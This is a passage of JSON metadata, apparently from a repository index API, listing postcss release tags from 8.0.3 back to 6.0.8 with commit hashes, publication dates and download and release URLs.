/7.0.33/manifests"},{"name":"8.0.3","sha":"47ce31fd926935a1ce59d3d8abeeeb2b99eb4057","kind":"tag","published_at":"2020-09-15T19:13:18.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.3","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.3/manifests"},{"name":"8.0.2","sha":"b17b8765b7701e0960b608e2be52927d2479920b","kind":"tag","published_at":"2020-09-15T16:46:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.2","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.2/manifests"},{"name":"8.0.1","sha":"3ba2882b72364d32006fc1a3a0b397044a4c2ca4","kind":"tag","published_at":"2020-09-15T15:34:11.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.1","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"d41a37605adc16b3eb17f806ce0259a8b316e603","kind":"tag","published_at":"2020-09-15T15:19:38.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.0","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.0/manifests"},{"name":"7.0.32","sha":"cf83abc98bb85e3dc536bbc23ec9f83e9aaaa154","kind":"tag","published_at":"2020-06-02T12:45:48.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.32","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.32/manifests"},{"name":"7.0.31","sha":"8f7fe75e8347f5b1169f761343670d4d5a219589","kind":"tag","published_at":"2020-05-26T01:58:17.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.31","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.31/manifests"},{"name":"7.0.30","sha":"737ff76b4a209142c8cba367d5feae0dc4e078ba","kind":"tag","published_at":"2020-05-11T13:57:48.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.30","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.30/manifests"},{"name":"7.0.29","sha":"1c108c7c558bb32548b38296b83e6af3bc0cfb29","kind":"tag","published_at":"2020-05-04T14:14:30.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.29","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.29/manifests"},{"name":"7.0.28","sha":"6208583099ce130725dbdfbfa87e15e516b53b28","kind":"tag","published_at":"2020-05-02T14:57:53.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.28","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.28/manifests"},{"name":"7.0.27","sha":"f9049738076a83edf74d98622eb6f4bffe7ca5f3","kind":"tag","published_at":"2020-02-18T02:56:54.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.27","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.27/manifests"},{"name":"7.0.26","sha":"cb07a3055aac8f85bf5e1cdbc1a006de8fc8f989","kind":"tag","published_at":"2019-12-31T00:10:33.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.26","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.26/manifests"},{"name":"7.0.25","sha":"4d8a9859c6dbbbdfa159bd04939f6184ebedfe67","kind":"tag","published_at":"2019-12-16T19:09:45.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.25","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.25/manifests"},{"name":"7.0.24","sha":"a7a62c1de2d251891c1d83a5c0a7b960d725146d","kind":"tag","published_at":"2019-12-06T18:41:48.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.24","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.24/manifests"},{"name":"7.0.23","sha":"e0def602f546a86117cf7094831663dab7775341","kind":"tag","published_at":"2019-11-18T22:33:37.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.23","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.23/manifests"},{"name":"7.0.22","sha":"225d0db8792ca4742f6952b2e6b609b669bee9c7","kind":"tag","published_at":"2019-11-18T22:21:08.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.22","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.22/manifests"},{"name":"7.0.21","sha":"0ff95e2f12dd7d09e732dc9c837ed16ab484fcf1","kind":"tag","published_at":"2019-10-25T15:48:35.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.21","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.21/manifests"},{"name":"7.0.20","sha":"3ca8f329fd2abf00cbfb101cfdabbc813afb3d70","kind":"tag","published_at":"2019-10-24T15:02:25.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.20","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.20/manifests"},{"name":"7.0.19","sha":"2ae0f63521bbb90b408bb81ed2df26b6873cd682","kind":"tag","published_at":"2019-10-24T12:36:52.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.19","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.19/manifests"},{"name":"7.0.18","sha":"fcaf73cda9498e08f0e58761e8906c6ddb2440ee","kind":"tag","published_at":"2019-09-05T23:14:19.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.18","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.18/manifests"},{"name":"7.0.17","sha":"558bc79e564f795c1502cf9bce712405e0193e1f","kind":"tag","published_at":"2019-06-05T16:33:06.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.17","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.17/manifests"},{"name":"7.0.16","sha":"61015e1a69d928d48f8dedb77a8d7a918f82f7ad","kind":"tag","published_at":"2019-05-04T18:52:55.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.16","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.16/manifests"},{"name":"7.0.15","sha":"6239bb3388f354b3dda499fe92ae7e9e9e0861e8","kind":"tag","published_at":"2019-05-04T05:34:13.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.15","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.15/manifests"},{"name":"7.0.14","sha":"587e3cd26fbed9e1ca6c8585bc7c57a80f838bdb","kind":"tag","published_at":"2019-01-22T14:13:09.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.14","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.14/manifests"},{"name":"7.0.13","sha":"adc1ed0338f61b4b815ffdf86c60c2f81ce26d6b","kind":"tag","published_at":"2019-01-15T17:58:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.13","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.13/manifests"},{"name":"7.0.12","sha":"a3ff1b495b072dde6d2d643e6a866e53748f7ae3","kind":"tag","published_at":"2019-01-15T16:26:03.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.12","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.12/manifests"},{"name":"7.0.11","sha":"ba5df630380e549c94b11efbc908be40116f456e","kind":"tag","published_at":"2019-01-12T16:09:59.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.11","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.11/manifests"},{"name":"7.0.10","sha":"c12210409679a4b4556ab8525e4846f1a82e24a3","kind":"tag","published_at":"2019-01-11T20:05:59.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.10","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.10/manifests"},{"name":"7.0.9","sha":"802663c725f48ea6cfaa011698d6dab941790240","kind":"tag","published_at":"2019-01-11T14:09:25.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.9","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.9/manifests"},{"name":"7.0.8","sha":"0946d4d005439bd7843e008cdea1fdba479509b1","kind":"tag","published_at":"2019-01-08T11:58:50.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.8","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.8/manifests"},{"name":"7.0.7","sha":"e97fc80fc43a430ebb7f51a1931cc859af58f1e4","kind":"tag","published_at":"2018-12-17T01:58:53.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.7","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.7/manifests"},{"name":"7.0.6","sha":"046ab11f1be0eb3dd62bb3ea331134119168af11","kind":"tag","published_at":"2018-11-18T01:21:58.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.6","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.6/manifests"},{"name":"7.0.5","sha":"ba6b75c5327391d22e84d6daa20d7749fb10fa34","kind":"tag","published_at":"2018-10-02T13:08:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.5","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.5/manifests"},{"name":"7.0.4","sha":"98baa55cb2fa1fc32a452686ca1ea57aeacfd1c2","kind":"tag","published_at":"2018-09-27T06:08:58.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.4","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.4/manifests"},{"name":"7.0.3","sha":"b8ef013bf0bb913aba1e4321a6be2761a876ad4c","kind":"tag","published_at":"2018-09-25T22:16:59.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.3","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.3/manifests"},{"name":"7.0.2","sha":"294846d8317e7d85a6327b903a7992008febb069","kind":"tag","published_at":"2018-07-30T18:13:24.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.2","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.2/manifests"},{"name":"7.0.1","sha":"287567218758cbb08bb508889920ac199008c2ab","kind":"tag","published_at":"2018-07-20T02:44:43.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.1","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.1/manifests"},{"name":"7.0.0","sha":"d1c53a2b5dcb6b48f11889fafb94fe022306783b","kind":"tag","published_at":"2018-07-16T18:43:05.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.0","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.0/manifests"},{"name":"6.0.23","sha":"51e35386da38994b441acac0b6e65888b3025756","kind":"tag","published_at":"2018-06-21T18:36:39.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.23","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.23/manifests"},{"name":"6.0.22","sha":"72269033f67524cdd8c0d0a3d921f4586b830f57","kind":"tag","published_at":"2018-04-28T05:11:43.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.22","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.22/manifests"},{"name":"6.0.21","sha":"db8a621301f49fc1c2f8f1a03854f880d1b2bd12","kind":"tag","published_at":"2018-03-22T18:33:57.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.21","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.21/manifests"},{"name":"6.0.20","sha":"69974c369a72ff78f085b5cd200a2c9f1805aa6f","kind":"tag","published_at":"2018-03-17T01:52:19.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.20","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.20/manifests"},{"name":"6.0.19","sha":"c7bdc33bcb49a2667c3a0db21f83f8b4073740ab","kind":"tag","published_at":"2018-02-17T22:27:10.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.19","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.19/manifests"},{"name":"6.0.18","sha":"ff480d2f8837a66df80e9de9da5e9886814d9739","kind":"tag","published_at":"2018-02-15T11:44:36.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.18","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.18/manifests"},{"name":"6.0.17","sha":"999c000d885b242dad50d83c8f2a3c1ad7ed5787","kind":"tag","published_at":"2018-02-01T19:49:06.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.17","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.17/manifests"},{"name":"6.0.16","sha":"87033dd0ec6db1334f436b844ddd60e7b741b64e","kind":"tag","published_at":"2018-01-06T02:38:52.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.16","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.16/manifests"},{"name":"6.0.15","sha":"2e510c9f41a8891ecc8901f5dd584496626a88cd","kind":"tag","published_at":"2018-01-02T01:06:41.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.15","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.15/manifests"},{"name":"6.0.14","sha":"9086af5cc33d4eaa2532b843b52692cfea611716","kind":"tag","published_at":"2017-11-02T13:38:09.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.14","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.14/manifests"},{"name":"6.0.13","sha":"e6ddfbcbe32e853103a9142b6f3b61881213a71c","kind":"tag","published_at":"2017-10-04T14:00:34.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.13","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.13/manifests"},{"name":"6.0.12","sha":"3458ab82cad63c678d14f988add7d11a04a6c2ad","kind":"tag","published_at":"2017-09-25T07:17:52.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.12","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.12/manifests"},{"name":"6.0.11","sha":"2b63ee8a2cc6ed4954d6c2764e5eb1b4babad0fb","kind":"tag","published_at":"2017-09-06T05:54:13.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.11","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.11/manifests"},{"name":"6.0.10","sha":"b1ff21262eb118324b1314ccc8079fc677bab440","kind":"tag","published_at":"2017-08-27T09:56:45.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.10","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.10/manifests"},{"name":"6.0.9","sha":"907b303f59ee5fab1d6b6266c8c2624caf7be269","kind":"tag","published_at":"2017-08-11T20:52:31.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/6.0.9","html_url":"https://github.com/postcss/postcss/releases/tag/6.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/6.0.9/manifests"},{"name":"6.0.8","sha":"fd01a1fd22745f9d19666ecdbfbbf53024a50ff4","kind":"tag","published_at":"2017-07-19T15:53:04.000Z","download_url":"https://codeload.github.com/postcss/postcss/